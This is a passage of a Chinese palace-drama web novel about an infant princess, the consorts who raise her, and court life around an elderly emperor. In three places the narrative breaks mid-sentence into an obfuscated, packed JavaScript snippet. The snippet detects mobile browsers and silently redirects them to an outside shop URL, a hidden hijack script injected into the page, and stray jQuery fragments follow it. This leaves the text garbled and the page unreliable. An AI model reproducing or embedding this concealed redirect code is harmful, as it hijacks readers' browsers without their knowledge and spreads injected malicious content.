“她们吵架了?”皇后仔细问道,“什么时候的事,母后都不知道。” 贵妃连忙接话道:“那天抱着公主去御花园玩,和陈美人吵了几句。” “这可不好。”玉妃劝道,“咱们都是公主的亲人,咱们不和,公主看在眼里也难受。咱们都在这宫里,又出不去,你们还能分道扬镳不成?陈美人还真能从春和宫搬出去不成?” “和好!”秦舒蕊撅着嘴巴,左看看张母妃,右看看陈母妃。 皇后用扇子轻轻点了下贵妃的肩膀,“舒云,道个歉吧,再怎么样也不该摔静婉的东西呀。静婉多喜欢你的,你看你之前打牌输了她还给你做蜜酥吃。” 陈美人在一边听着,也撅着嘴巴,悄然抬头看了一眼贵妃。 贵妃偏了偏脑袋,看向陈美人,用并不清脆的声音道:“对不起,我回头赔你个罐子,你到我宫里去选。” 陈美人低声道:“里面的糖都是我亲手做的。” 贵妃道:“我重做一罐还你。” 陈美人:“你会吗?” 贵妃:“……我不会你不能教吗?” 月昭容侧过头,流苏微微晃动,几乎贴上陈美人的脸。 她两只手扶住陈美人的肩,道:“妹妹也有不对的地方,听说两个月前贵妃专门让人给你做了你爱吃的螃蟹送过去,你直接送给宫女吃了。螃蟹是不值什么,但那可是娘娘的心意,你就那么送出去了,真是该罚,还不快快赔罪?” “是。”陈美人垂眸颔首道,“贵妃姐姐对不起,妾身错了。” “这才是好姐妹嘛。”皇后道。 秦舒蕊站起身,她有些站不稳,连跑带摔地摔到母后怀里。 “诶呦。”皇后手被撞疼了,还笑着去摸她的头发,“你看你闹腾的,磕着了怎么办。” 秦舒蕊指着刚刚和好的两位母妃,道:“母后,要、要给……要给蜜糖!” “蜜糖啊——”皇后笑得合不拢嘴,“要给两位母妃奖励蜜糖吃?快,易雁,快去把公主的蜜糖罐拿来。” “是。”易雁道。 “我也要~”公主说着伸手去抓母后的扇子。 皇后:“好——那母后吃不吃呀?” 公主:“母后也吃。” 皇后:“那你柳母妃吃不吃呀?” 公主:“也吃,两个柳母妃都吃。” 皇后:“沈母妃和齐母妃呢?” 公主被问得有些烦了,在皇后怀里翻了个身,嚷嚷道:“每个母妃都吃,雁姐姐也吃,盼儿姐姐也吃。” 一声接一声的谢谢在宫里响起来,吵得小公主脸都红了。 易雁递上蜜糖罐子,公主又道:“盼儿姐姐先选。” “为什么呀?”贵妃的手都伸出去了,又收回来了。 公主道:“梳、梳头。” “哦——”皇后轻声哄着她,“盼儿姐姐每天早上给你梳头,很辛苦是不是?” “嗯。”公主点头。 盼儿拘谨地捧着易雁递过来的蜜糖罐子,不知所措。 皇后看向盼儿,笑道:“蕊妹妹让你选,你就选吧,今日公主寿辰,公主最大。” 盼儿笑着望向公主,道:“奴婢谢谢公主。” 贵妃道:“公主刚满周岁,就如此聪明伶俐,比臣妾的孩儿强了不知多少倍,臣妾的齐儿快两岁的时候嘴巴还黏黏糊糊的,什么都说不清楚。” 皇后道:“胡说,齐儿也是个多聪明的孩子,你第一次见他的时候,他正病着呢,哪能跟你说什么话,你回来以后不分青红皂白跟本宫说,你的齐儿耳朵听不见,把本宫吓得立刻去见陛下,陛下也担心成什么了,太医说你去看孩子之前他就叮嘱过你,孩子病了,偏你一句都没听见。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991399|193725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈美人笑出声,又立刻捂住嘴,月昭容看了她一眼,也开始笑,众人都笑起来。 选完了蜜糖,皇后道:“姐妹们都带了好玩的东西来,等下铺在地上,让公主选,选中了谁的,就把本宫上个月刚打的步摇奖给谁。” 她话音刚落,众人还没来得及应和,就听一声高喊:“陛下驾到——” “呃?”皇后一时没反应过来,还抱着孩子在那里坐着。 等所有人都起来了,皇后才连忙起身,抱着孩子,道:“给陛下请安,陛下万安。” “都起来吧。”陛下伸出手,扶贵妃起身。 贵妃道:“谢陛下。” 陛下走到里间,坐到皇后常坐的那张榻上,“公主今天满周岁,朕特来看看。你们这儿真热闹啊,朕在外面都能听见你们的笑声。” 皇后道:“人多,大家说说笑笑的,自然热闹。” 陛下看了一眼公主,道:“公主脸上这个是什么?” 皇后道:“是胎记,想来是之前年龄小,不大显眼,陛下没看出来。” “哦。”陛下叹了口气,“可怜呐,做女子的,容貌丑陋,长大以后可怎么好。” 皇后看了公主一眼,公主嘴巴扁扁的,快哭出来了。 皇后蹙眉,道:“公主小小年纪,便能看出容貌出众,一块胎记,难掩姿色。” 秦舒蕊抱住母后的脖子,趴在她肩膀上。 贵妃上前,自然而然地坐到陛下身边,挽着陛下的胳膊,半倚靠着他,道:“有陛下龙恩庇佑,还有后宫众姐妹悉心照顾,哪里可怜,公主明明是天底下最有福的人。” 陛下听了高兴,拍了一下贵妃的手,笑道:“都别站着了,坐吧。抓周了吗?” 皇后抱着公主坐下,道:“还没有,正准备开始,陛下来得巧,正好看个热闹。” “那开始吧,让朕也跟着热闹热闹。”陛下道。 宫女将众妃嫔准备好的东西拿出来,递到她们手上,皇后把公主放下来,尽力压下心中的紧张,哄道:“蕊蕊看喜欢哪个就去选。” 秦舒蕊站不稳,歪歪斜斜的,走两步踉跄一下,好几次差点摔倒,幸好有宫女在旁边护着。 贵妃道:“来,蕊蕊,到张母妃这儿来。” 公主看着她手里闪闪发亮的棋子,情不自禁地走过去。 月舒容拨了拨琴弦,公主又回过头,似乎对那个会发出声响的东西很感兴趣。 陈美人平时大大咧咧,在陛下面前突然拘谨得连牌都握不住,一下子撒了一地。 她不敢动,不知道要不要去捡,宫女反应比她快,立刻俯身捡起来,整理好放到旁边的桌子上。 敬妃捏了下陈美人的手,陈美人悄悄抬头,发现陛下并没有在看她,松了口气。 秦舒蕊看到她了,她发现陈母妃在发抖,立刻转过身,猛地扑向陈母妃,她抱住陈母妃的胳膊,还以为陈母妃是怕她不到这边来,所以才发抖的。 秦舒蕊把头埋在她怀里,用黏糊糊的声音道:“陈、陈母妃,想要那个亮晶晶的,亮晶晶……” 陛下的目光转过来,盯着两人。 5. 月信来了 陈美人尽量忽视陛下的目光,将桌上的牌递给小公主。 她在上面贴了一些金箔,每一张都亮闪闪的。 “哇!”秦舒蕊拿在手里一张张翻看,“好漂亮,好……好,好……真好!”她似乎想说点别的词来夸夸陈母妃,但半天也想不出来,只能说好。 “是什么呀?”陛下问道。 陈美人不敢抬头,不知道如何答话。 秦舒蕊抢答道:“漂亮、漂亮的画!”她把手里的木片举高高,给陛下看。 陛下冲她招招手,她歪歪扭扭地走到陛下面前。 “乖,给父皇看看?”陛下拍了下她紧紧抓着的小手。 秦舒蕊松手了,“要保护好。” “好,朕会好好爱护的,不给你弄坏。”陛下拍了拍小公主的头,翻看着手里的木牌。 秦舒蕊站得有些累了,转身扑到贵妃怀里。 贵妃凑过去看木牌,道:“是陈美人画的花草呀。” 这副牌原本的花样很简单,每张牌不过是由几个红色的点点构成的,而陈美人将这些简单的红点用花鸟画来代替,精心绘制,悉心打磨,根本看不出来是他们平时打发时间玩的薄木牌。 陛下拿在手里赏玩许久,舍不得放下。 他道:“陈美人平日多自谦,谁曾想竟如此心灵手巧,妙笔丹青,朕自以为与你相熟,最知你脾性,若非今日来此,朕还被蒙在鼓里,是朕疏忽了。” 他把牌放到旁边的桌子上,秦舒蕊立刻去拿回来,护在怀里。 陈美人被宫女推了两下,连忙起身,福身行礼,道:“几幅图罢了,巧工阁画师众多,藏书楼珍品繁杂,嫔妾雕虫小技,不曾想,竟能入陛下的眼,是嫔妾之福,嫔妾喜不自胜。” 陛下起身,走到阶下,扶陈美人起身,道:“朕从前疏忽你了,云麾将军远行归来,进献了几方难得一见的好墨,爱妃的技艺,若无好的笔墨,当真是辜负了。明日用过午膳,朕想看爱妃亲手绘制的兰花图。” “是,嫔妾谢恩。”陈美人福了福身子,道。 “好了,朕还有政事要忙,苏诚,去库房里取两支簪子给公主贺寿。”陛下道。 皇后起身,拉过公主,道:“臣妾携公主谢陛下隆恩……” 她话还没说完,陛下已然出门去了,众嫔妃又立刻起身,行礼恭送。 陈美人从胃里长长地吐出一口气,差点跌到地上。 贵妃好笑地把她拉起来,道:“在我面前张牙舞爪的,没想到是个一戳就破的纸老虎。” 陛下走远,陈美人立刻活过来了,撞了下贵妃,道:“嫔妾当然怕,娘娘又不是不知道,嫔妾没读过什么书,选秀前被人坑害,学了一句鹤骨霜髯,还以为是夸人的呢,选秀的时候当着陛下的面说出来,差点被陛下拉下去打板子,幸好皇后娘娘替嫔妾求情,不过不知道为什么,陛下竟然留下了嫔妾。” “哈哈哈,陛下不过五十,被你说的好像七老八十了一样。”贵妃笑得合不拢嘴,捧起她的脸,道,“当然是为着你这张脸,妹妹长得如此貌美,说是后宫容貌第一人也不为过,若不是你说错话了,如今怕是要跟姐姐平起平坐了。” “好了好了。”皇后厉声呵止,“还敢提这茬,真想挨板子吗?” “什么是……挨板子?”公主斜着脑袋,仰看母后。 敬妃蹲下来,点了下公主的鼻子,“就是挨打,蕊儿记着,在你父皇面前,一定要时刻恭敬,不可顶撞,不可有假话,不然就会受罚,严重的话就会挨打。” 公主虽然不太懂她在说什么,但还是认认真真地点了个头。 下午没什么事,众妃嫔又聚在一起打牌。 公主还太小了,根本听不懂规则,只能听懂一些简单的话。 她看母妃们把陈母妃给她画的小花小草小鸟都拿走了,坐在中间哭了起来。 “好了好了,给你。”贵妃递给公主一张兰花,“我出一点。” “要,三点。”沈昭仪将一张迎春递给公主。 众妃嫔每出一张牌就递给公主一张。 一副牌只有三十多张,后宫妃嫔这么多,需要用四副牌。渐渐的,公主发现,有些母妃递给她的木片比较薄,没有陈母妃给她的厚实,也没有陈母妃给她的好看,她就把那些不好看的都丢到一边,只捡自己喜欢的攥在手里。 三轮打下来,别的牌都混得乱七八糟的,只有陈美人的牌一直完完整整地被公主捏在手里。 陈美人忍不住一直看着公主,看到自己做的礼物被公主喜欢,嘴角都快咧到耳根了,一直低着头,用牌挡着半张脸。 皇后打趣道:“五轮打下来,陈美人一次没赢,偏偏场上笑得最高兴的就是她。” 众妃嫔都看向她,公主也看向她,冲着她嘿嘿笑。 皇后道:“本宫差点忘了,易雁,去把那支步摇取来,给陈美人。” 陈美人道:“这么好的步摇,依臣妾的位分根本戴不了,不若给臣妾换些别的?可有好吃的点心?” 沈昭仪道:“妹妹如今可不同了,得陛下青眼,说不定过几日就升婕妤了,再过几个月升昭容,何愁没有戴的时候?” 陈美人摇头,道:“臣妾还是更喜欢点心。” “嗯……本宫想想。”皇后看着易雁,思索良久,“对,本宫想起来了,陛下今早赏了本宫两颗荔枝,说是一共就进贡了十二颗,本宫两颗,贵妃两颗,月昭容两颗,陛下尝了一颗,剩下的都给了太后。那本宫就赏一颗给陈美人。” “哎呀,这可比步摇金贵多了。”贵妃道,“可让你赚着了,本宫原本也想分你一颗的,如今不用了。” 陈美人满面春风,乐开了花,“妾身谢过皇后娘娘。” 小公主好不容易凑齐的32张牌,又被贵妃一把拿走了,准备再开下一轮。 小公主又要哭了,被贵妃捂住了嘴。 皇后拍掉她的手,“干什么呢,等会儿小孩子闹起来你去哄。” “奴婢参见各位主子娘娘。”陈美人身边的宫女闯进来,行礼道。 “何事?”皇后抱着扑到她怀里的公主,问道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991400|193725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫女道:“回禀皇后娘娘,陛下今晚翻了陈美人的牌子,时辰不早了,该回去预备着了。” “啊……”陈美人恋恋不舍地看着手里的牌,哀叹道。 “啧——”皇后瞪了她一眼,真想一巴掌扇她嘴上,“你且下去,陈美人立刻就去。” “是。”宫女道。 陈美人看出皇后生气了,跪坐原地,不敢言语。 皇后道:“胡闹也该有个度,你刚才那声传到陛下耳朵里,本宫也救不了你。” “是,臣妾知错。”陈美人连忙跪直了身子,道。 “快去吧。”皇后起身,“时辰不早了,本宫也该带着公主去沐浴了,公主年纪小,要早睡。” “是。”众妃嫔起身,行礼道,“臣妾告退。” 出了凤鸣宫,贵妃说可以把自己的轿辇借给她,让她赶紧回去。 但她拒绝了,想自己走走。 贵妃没有上轿,遣散了一部分宫人,只留了两个宫女和一个内侍陪着,跟她一起慢悠悠往回走。 走到一半,她突然抬手拭泪。 贵妃挑眉,“你这是怎么了?” “臣妾高兴……”她抽泣道。 贵妃:“……能看出来。” 虽然周围都是贴身侍奉了许多年的奴才,但天底下没有不透风的墙,大庭广众之下,若是真的拆穿了陈美人的谎言,怕是会招来祸端。 她只能捏住陈美人的手,以示安抚。 其实去年入宫的时候,陈美人就为着这件事哭过了,她以为自己已经完全放下了,可今日侍寝在即,她又忍不住为自己痛哭一场。 她入宫前也是家里捧在掌心的宝贝,父母琴瑟和谐,兄嫂伉俪情深,她才十六岁,不得不憧憬,不得不向往,幻想有一个年岁相当的潇洒男子来爱她,幻想着成为话本里和书生缠缠绵绵的小姐,等着书生功成名就来迎娶自己。 可她身为官家小姐,十六岁那年,不得不入宫选秀。 一朝选为君王妃,终身侍奉君王侧。 倘若君王风姿绰约也就罢了,可惜是个五十多岁的老头子,看上去没几年活头了。 说不定,她不到三十,就要丧夫,成为寡妇。 看着陛下白里掺黑的头发,看着陛下的冉冉长须,她不能不哭,她不能不怕。 可她还是要在陛下面前装作十分爱慕的模样。 她要如何爱啊—— 贵妃挠挠头,感觉她哭得跟死了亲爹似的,被人传出去可不好。 “可是腹痛?”贵妃扶住她的腰,问道,“可是日子到了?难受?本宫派人去通知陛下,说今夜不便?” 陈美人连连点头。 贵妃看了一眼安禾,安禾会意,立刻去了。 “哎哟,这是怎么了?”沈昭仪路过,吓了一跳。 贵妃道:“她月信来了,腹痛。” “啊?”沈昭仪帮忙扶住她,“那可真是不好,大好的机会就这么错过了。古笛,去让御膳房熬一碗红糖姜茶来,古乐,去传轿辇。” 6. 女医入宫 陛下还是到春和宫来了,他来偏殿探望了一下陈美人,因着她大哭过一场,此刻面色惨白,双眼红肿,倒真像是病弱的样子,陛下坐在床边和她说了会儿话,怜惜地抚了抚她的脸颊,就去隔壁找贵妃了。 贵妃想细问陈美人为何大哭,可没有时间,她刚把陈美人送回宫,就接到了陛下要来的旨意,她只能匆忙回宫梳洗,在不安中调整情绪。 沈昭仪并未离去,她怕陈美人夜里出现状况,打算在陈美人宫中留宿一晚。 夜深人静时,她抚摸着陈美人的头发,轻声问道:“妹妹的月事还没到,怎会腹痛?” 陈美人疑惑地转过脑袋,问道:“姐姐怎么知道妹妹的月事是什么时候?” 沈昭仪道:“你和贵妃闹别扭的这半年,日日到我宫里来用膳,只每月的初三至十一不来,说是月事来了,嫌姐姐宫里的饭食多是辛辣,难以下咽,如今正是十四,妹妹的月事应该刚过。” 陈美人道:“姐姐心细如发,什么都瞒不过姐姐。” 沈昭仪声音细,语调缓,温言温语的,陈美人忍不住,把头靠在她怀里。 陈美人道:“不瞒姐姐,妹妹是害怕。” 沈昭仪搂住她,自然知道她在怕什么。 她偏着头,听陈美人把话说完。 陈美人忍不住又哭出来,她不敢让门口守夜的宫人听见,只能低声啜泣,“妹妹没办法把陛下当枕榻夫君,他比妾身的父亲还要年长五岁……妾身如何能与他同寝而眠?” “唉……”沈昭仪伸出拇指,拂去她的泪水,“姐姐早你三年进宫,你的恐惧,姐姐从前又何尝没有。有一段时间,宫里闹鬼的传言厉害,姐姐实在是不敢一个人睡,就到贵妃娘娘宫里,请求同住,那一晚,姐姐也同你一样,情不自禁地哭了出来,当时,贵妃娘娘说了一句话,虽然粗俗,却有道理。” “什么?”陈美人问道。 沈昭仪道:“嫁都嫁了,还能怎么样,想办法当贵妃,总好过想办法当缩头乌龟。就把陛下当成父亲好好侍奉着就成,至于床笫之事,眼睛一睁一闭,就过去了,其实没什么感觉,远不如春宫图令人憧憬。” 陈美人没忍住,笑出声来。 沈昭仪看她心情好点了,也勾起唇角,笑起来。 陈美人道:“像贵妃能说出来的话。” 沈昭仪道:“嗯,贵妃娘娘看着鲁莽,内里却通透。不过她这话,说起来容易,做起来难。你若还是害怕,就以月信做借口,再缓两天,但下个月之前,可要想明白了,如今陛下眼里有你,你能缩到几时?” 第二日晨起,皇后发现公主身上长了些红色的疹子,御医推断,许是对娘娘宫里的香料过敏,但御医不能掀开公主的衣裳,只能通过把脉和宫女的描述来判断,公主又说不清自身的感受,问得复杂了,她就听不懂了。 皇后不放心,便把公主交给贵妃,前往御书房去找陛下。 前朝庆煦帝为着林贵妃的病,破例召女医入宫侍奉。 她想问问陛下,可不可以为了公主,依照旧例。 “苏公公,劳烦通传一声,就说本宫有要事求见。”皇后急切道。 苏诚道:“嗻。” “诶,等一下,陈美人是不是在里面?”皇后注意到候在门口的宫女,是陈美人的贴身宫女。 苏诚道:“回娘娘的话,正是,陈美人半个时辰前就来了,正陪着陛下作画呢。” “那、那……”皇后捏着手里的帕子,她不敢打断陛下的好心情。她所求对公主来说并非小事,可在陛下眼里,又不是什么要紧的事,没什么非答应不可的理由,所以,须得在陛下高兴时说,“本宫等等吧,不着急。” 苏诚应了一声,行礼站在一边。 皇后等了一会儿,余光看见远处另有一众人朝这边走来。 她转脸看过去,眉头瞬间舒展开来,她手一松,帕子差点掉在地上。 她快步迎上去,蹲下身。 吕哲政先是怔住,随后行礼,道:“儿臣给母后请安。” “诶,诶,快起来,快起来。”皇后将他拉起来,拉着他的小手,热切地问道,“用过午膳没有?” 吕哲政看着母亲饱含泪水的眼睛,想为她拭泪,可他的一双手被母后紧紧握住,动弹不得,他道:“回母后,用过了,梧桐宫的午膳很好吃,母后放心。” 他往日话不多,总是沉默寡言,可今日,却有说不完的话:“母后可用过午膳了?” “用过了,凤鸣宫的午膳也很好吃,政儿也放心。”皇后快速用帕子拭掉泪珠,又去擦吕哲政额上的汗珠,“德明,太子有没有好好休息啊?” 太子左侧的内侍上前,行礼回话道:“回皇后娘娘的话,太子谨记娘娘叮嘱,每日按时休息,绝不拖延。” “那就好。”皇后道,“你还这么小,身子最重要了。你看你满头的汗,可是练武累的?” 吕哲政还没来得及回话,御书房的门就开了,陈美人出来,对着皇后行了个礼,道:“娘娘,陛下听见您的声音,请您进去。” 吕哲政难得见到母后,光顾着看母亲的面容,险些忘了礼数,他回身,连忙行礼道:“儿臣见过陈母妃。” 陈美人道:“快起来吧,好长一段时间没见,殿下长高了。” 皇后看出陈美人面色不佳,但她为着公主的事着急,不敢耽误,也没多问。 她进去的时候陛下正拿着一幅画,从上到下仔细地看着,初以为他是在欣赏,正准备开口,却见他揉成一团,扔在一边。 皇后疑惑,问道:“陛下这是为何?” 陛下的面色看上去比陈美人还差,他道:“陈美人明明有一双巧手,但一对着朕,就吓破了胆,笔都握不住,下笔更是歪歪扭扭,不成样子,唉……” 皇后道:“陈美人年纪小,平日里最大的事就是吃好喝好,哪里懂什么情情爱爱,陛下威严,她一个小姑娘,如何能不怕?陛下莫急,慢慢教,等大些就好了。” “还得皇后悉心教导才行啊。”他抬头扫了皇后一眼,注意到站在一边的太子,稍稍收敛了面上的不满,道,“政儿,坐。” 吕哲政行礼,道:“谢父皇。” 陛下又看向皇后,“这会儿正是日头毒的时候,皇后怎么来了?” 皇后道:“公主身上起了许多红疹子,太医不好撩开衣裙来看,公主年岁小,又说不清楚到底痛不痛,痒不痒,一会儿说痛,一会儿又说不痛,臣妾想,可否延续先朝旧例,请女医进宫,为公主医治。” 陛下的目光打在地面上,沉思片刻, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991401|193725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“小儿之症,何必如此麻烦?太医怎么说?” 皇后的心提起来,怕陛下不答应,想说得严重些,斟酌片刻,道:“太医不能确定到底是何缘故,只能先按照过敏来治,臣妾担心,孩子年岁小,哪能经得起折腾,倘若看错了,病情加重,那可如何是好?” 陛下蹙眉,伸手去拿茶盏,皇后连忙递上。 吕哲政起身,道:“父皇,儿臣听闻皇祖母从去年开始就身体抱恙,总不见好,若是有女医入宫,想来皇祖母的病也能好得快一些。” “是啊。”皇后连忙接上话茬,“后宫女子众多,有个女医能方便不少,御医都为男子,不得不和宫妃保持距离,医者所言的望闻问切,到后宫妇人这里,只剩下望和问,这病如何能好?陛下之前宠爱敬妃,却总不见敬妃有孕,太医说大约是有些妇人之症,但到底是何症状并不能知。若能有女医悉心照看,兴许真能医好。” “嗯。”陛下点头,“那便依皇后之意,朕明日拟旨,召两位女医入宫侍奉。” 皇后眼笑眉舒,立刻起身,行礼道:“臣妾谢陛下隆恩,陛下天恩浩荡,想来太后和公主不日就会痊愈。” 办妥了公主的事,她本该离开的,可她贪心,想再和太子说说话,她已经有两个多月没见到她的孩子了。 太子也眼巴巴地看着她,喉咙里藏了不少话,可碍于父皇在场,不好开口。 陛下一直低着头,并未注意到母子二人的眼神,他挥挥手,轻松自然地道:“皇后若无事,就回去吧。” 皇后看了一眼陛下,又看了一眼太子,无奈,福身行礼,道:“臣妾告退。” 她回去的时候,陈美人已经到了,和贵妃坐在一处,教公主玩牌。 她听见陈美人笑嘻嘻地对贵妃说:“臣妾还是愿意做缩头乌龟。” 贵妃在她肩上拍了一下,半认真半玩闹地道了一句“没出息”。 “臣妾就是没出息。”陈美人大大方方地承认道,“咱们春和宫有一个有出息的就够了,反正依娘娘的月例,养两个人绰绰有余,再加一个公主都绰绰有余。” 从那日起,陛下再没召见过陈美人,陈美人安安心心地当她的缩头乌龟,又当了五年。 这五年,她勤勤恳恳、兢兢业业地教公主打牌,贵妃刚开始还陪着,后来嫌公主牌技太差,不玩了,由月昭容代替。 六岁这年,公主终于在牌桌上,光明正大地赢了月昭容一次,她为此吹嘘了一个下午,跑到每个宫里,对着每个母妃都说一遍。 月昭容输给六岁孩童的丑事立刻就随着公主的足迹传开了。 盼儿作为公主的贴身宫女,劝了好半天,“公主,今日端午,陛下在清河殿举办晚宴,咱们到了春和宫就别乱跑了,跟着贵妃娘娘一同去宴席吧?不然到时候迟到,陛下又该问责了。” “好啊。”秦舒蕊道,“那盼儿姐姐,我能不能先去御花园采些牡丹花?张母妃最喜欢牡丹了,她每次看到牡丹,都会给我糖吃。” 盼儿道:“公主不给娘娘牡丹,娘娘也会给公主糖吃的。” 秦舒蕊道:“那不一样,张母妃给我糖,只是我开心,如果我给了张母妃牡丹的话,张母妃再给我糖,那我们都很开心。” “好,奴婢陪公主去。”盼儿道。 7. 仙鹤灯 秦舒蕊拿着采好的牡丹,快到春和宫的时候,看到一个比自己高出一个头的男孩子正皱巴着小脸,和身边的宫女说着什么。 那宫女个子小小的,看着没比那个男孩子高多少。 突然,宫女扑通一声跪下了,磕了两个头,说了些什么。 男孩子突然生气,想去踹那个宫女。 秦舒蕊快步跑过去,还是晚了一步,宫女被踹翻在地,又立刻起身跪好,吓得浑身发抖。 秦舒蕊推了男孩一把,她力气不大,但出现得很突然,男孩子没准备,被她推得连退三步。秦舒蕊趁着这个机会站到宫女面前,看着男孩。 她道:“你不准打她。” 宫女连忙磕头道:“是奴婢自己做错了事,是奴婢的错,奴婢认罚。” 三皇子洋洋得意地道:“听到了吗?她自己都认错了,她打碎了我送给母亲的镯子,就是该罚。” 盼儿俯身,在公主耳边道:“公主,这是三皇子。” “哦。”秦舒蕊应了一声,看向三皇子,道,“她打碎的是你的玉镯,又不是打碎了你,你为什么要打她。” “她又赔不起。”三皇子道,“我只踹她一脚,已经是便宜她了。” 秦舒蕊道:“母后说,宫女十三岁就卖进宫,一直到二十五岁,她已经将她十二年的光阴卖给你了,时间是最宝贵的东西,就算是用千金万金也买不来,所以如果她打碎了你的东西,不要和她过多计较,又不是故意的,若真计较起来,我们欠她们的,一辈子都还不完呢。” “啊……”三皇子被说晕了,他觉得不太对,但那个女孩又说,是母后说的,母后说的怎么会不对,“你是公主?哦……你是我妹妹吧。” “我才不要你这样的哥哥。”秦舒蕊冷哼一声,道,“除非这个姐姐原谅你,不然我才不做你妹妹。” “你原谅我吗?”三皇子看着宫女,问道。 宫女连忙道:“奴婢不敢!” 秦舒蕊拉着宫女的手,道:“姐姐你快起来吧,你去做你的事情,别管我们了。他那么厉害,才不需要人管呢。” 宫女看了看公主,又看向三皇子。 三皇子冲她点点头,她才连忙告退。 “何事争执?” 秦舒蕊抬头,看到一个比他们两个高很多的哥哥朝这边走来。 三皇子行礼道:“参见太子殿下。” 他看秦舒蕊愣在那里,好心提醒道:“快行礼啊。” 秦舒蕊道:“如果他跟你是一伙儿的,那我才不跟他行礼。” 吕哲政拍拍三皇子的肩,示意他起来,问道:“什么一伙儿的,我刚去给母后请过安,才到张母妃处,怎么就和三弟是一伙的了?” 秦舒蕊立刻告状道:“他踢了宫女一脚。” 吕哲政撞了她一下,气道:“嘿!你怎么不讲前因后果的!是她摔坏了我给母妃的玉镯。” 秦舒蕊被她撞得差点倒在盼儿怀里,也厉声道:“那你也不能踢她。” “好了好了。”吕哲政看二人越吵越凶,像是要打起来,赶忙劝道,“三弟,宫里有宫里的规矩,奴才犯错你也不能动手打人,君子安礼乐利,谨慎而无斗怒,是以百举而不过也。三弟都忘了吗?” 他说了一大段乱七八糟的话,秦舒蕊也听不出来他是在向着自己还是在向着三皇子。 进宫门的时候,她刻意和三皇子隔开了一段距离,小声问道:“太子哥哥,你刚才说的是什么?君子……什么?” 吕哲政挑眉,她转变够快的,刚才还气势汹汹,现在就叫哥哥了。 他道:“君子安礼乐利,谨慎而无斗怒,是以百举而不过也。是说君子要谨慎小心,行为不可过激。” “真厉害。”秦舒蕊道,“敬母妃和沈母妃也常常说一些我听不懂的话,是什么暗语吗?” 吕哲政笑出声,道:“不是,你还太小,等你长大了,读书了,自己也能说了。” 读书…… 她回去要跟母后说,她也要读书。 秦舒蕊知道张母妃和三皇子许久没见,定然有许多悄悄话要说,就拉着太子殿下在外面玩,没有进去。 吕哲政发觉公主的目光一直在他身后的侍从上,疑惑地回身看过去,立刻反应过来,招招手,示意侍从上前来。 侍从会意,递上手上的仙鹤灯。 仙鹤有公主半个身子那么大,栩栩如生,周边的云朵会随着人的步调前后摆动。 吕哲政接过灯,亲手递上,“本来就是给妹妹买的,方才去凤鸣宫没见到妹妹,想着等晚些时候见面了亲手送上,更显诚意。” 秦舒蕊没有急着去接,而是补了个礼数,“刚才在春和宫外未向太子哥哥行礼,是我在气头上,太子哥哥别怪罪。” “一个礼而已,怎么会怪罪。”吕哲政把手里的灯往前递了几分,“妹妹快拿好。” 秦舒蕊这才连忙去接,拿着灯,走了两步,看着脚边飘动的浮云,满脸生花,不知不觉,竟绕着吕哲政走了两圈。 她抬头,问道:“哥哥是在哪里得来的灯?真好看。” 吕哲政道:“宫外,今日端午,宫外到处都是卖灯的,各色花样都有。还有螃蟹、青虾、牡丹、莲花、飞燕,我不知道你喜欢哪样,便挑了个最不出错的给你。仙鹤代表祥瑞,想来人人都喜欢。” 秦舒蕊认真地听着,无比向往。 她道:“齐母妃也总说宫外,她说她家乡的荔枝最好吃,进宫之前,年年都能吃一大盘荔枝,后来到了皇城,尝过宫里的荔枝酥,总觉得,没有家乡的鲜。我说我也想出宫去玩,沈母妃就说,等我长大了,嫁出去了,就能出宫了。” 吕哲政垂眸,并未言语。 说真的,他从前一直羡慕这个妹妹,羡慕她可以住在后宫,时时见到母后。但听她说完这些,他突然又不羡慕了。 他这个妹妹长这么大,大概连宫门都没见过,以后也不会有机会见,父皇把她当成符国的人质,就算为她选驸马,也会选自己信任的大臣,成亲以后,也就是换个地方软禁。 做一辈子的金丝雀,永远飞不出去,她没见过外面的天空,大概也不会想到可以飞出去。 她不知道笼子里有多危险,不知道自己的命被时时刻刻握在他人手心的痛。 等她明白的时候,也许就晚了。 “太子哥哥,你怎么不说话?”秦舒蕊笑着看向他。 吕哲政道:“皇子满十六岁就可以出宫开府,等我开府了,就请你来我府上玩。” “好啊。”秦舒蕊惊喜交加,连忙应下来,生怕太子殿下反悔,“那我提前谢过了,哥哥可要记着,别忘了。” 这个仙鹤灯可是把公主绊住了,吃饭的时候都不好好吃,一直在看脚底下的灯。 陛下和皇后坐在上首,公主不能和皇后坐在一起,只好和贵妃坐在一处,她盯着公主好半天了,侧过脸,轻声道:“易雁,去把公主手里的灯拿走。” 易雁走到公主面前,道:“公主,娘娘让您好好吃饭,等回去再玩儿。这个灯奴婢帮您收着吧,这里狭窄拥挤,万一磕坏了可不好。” 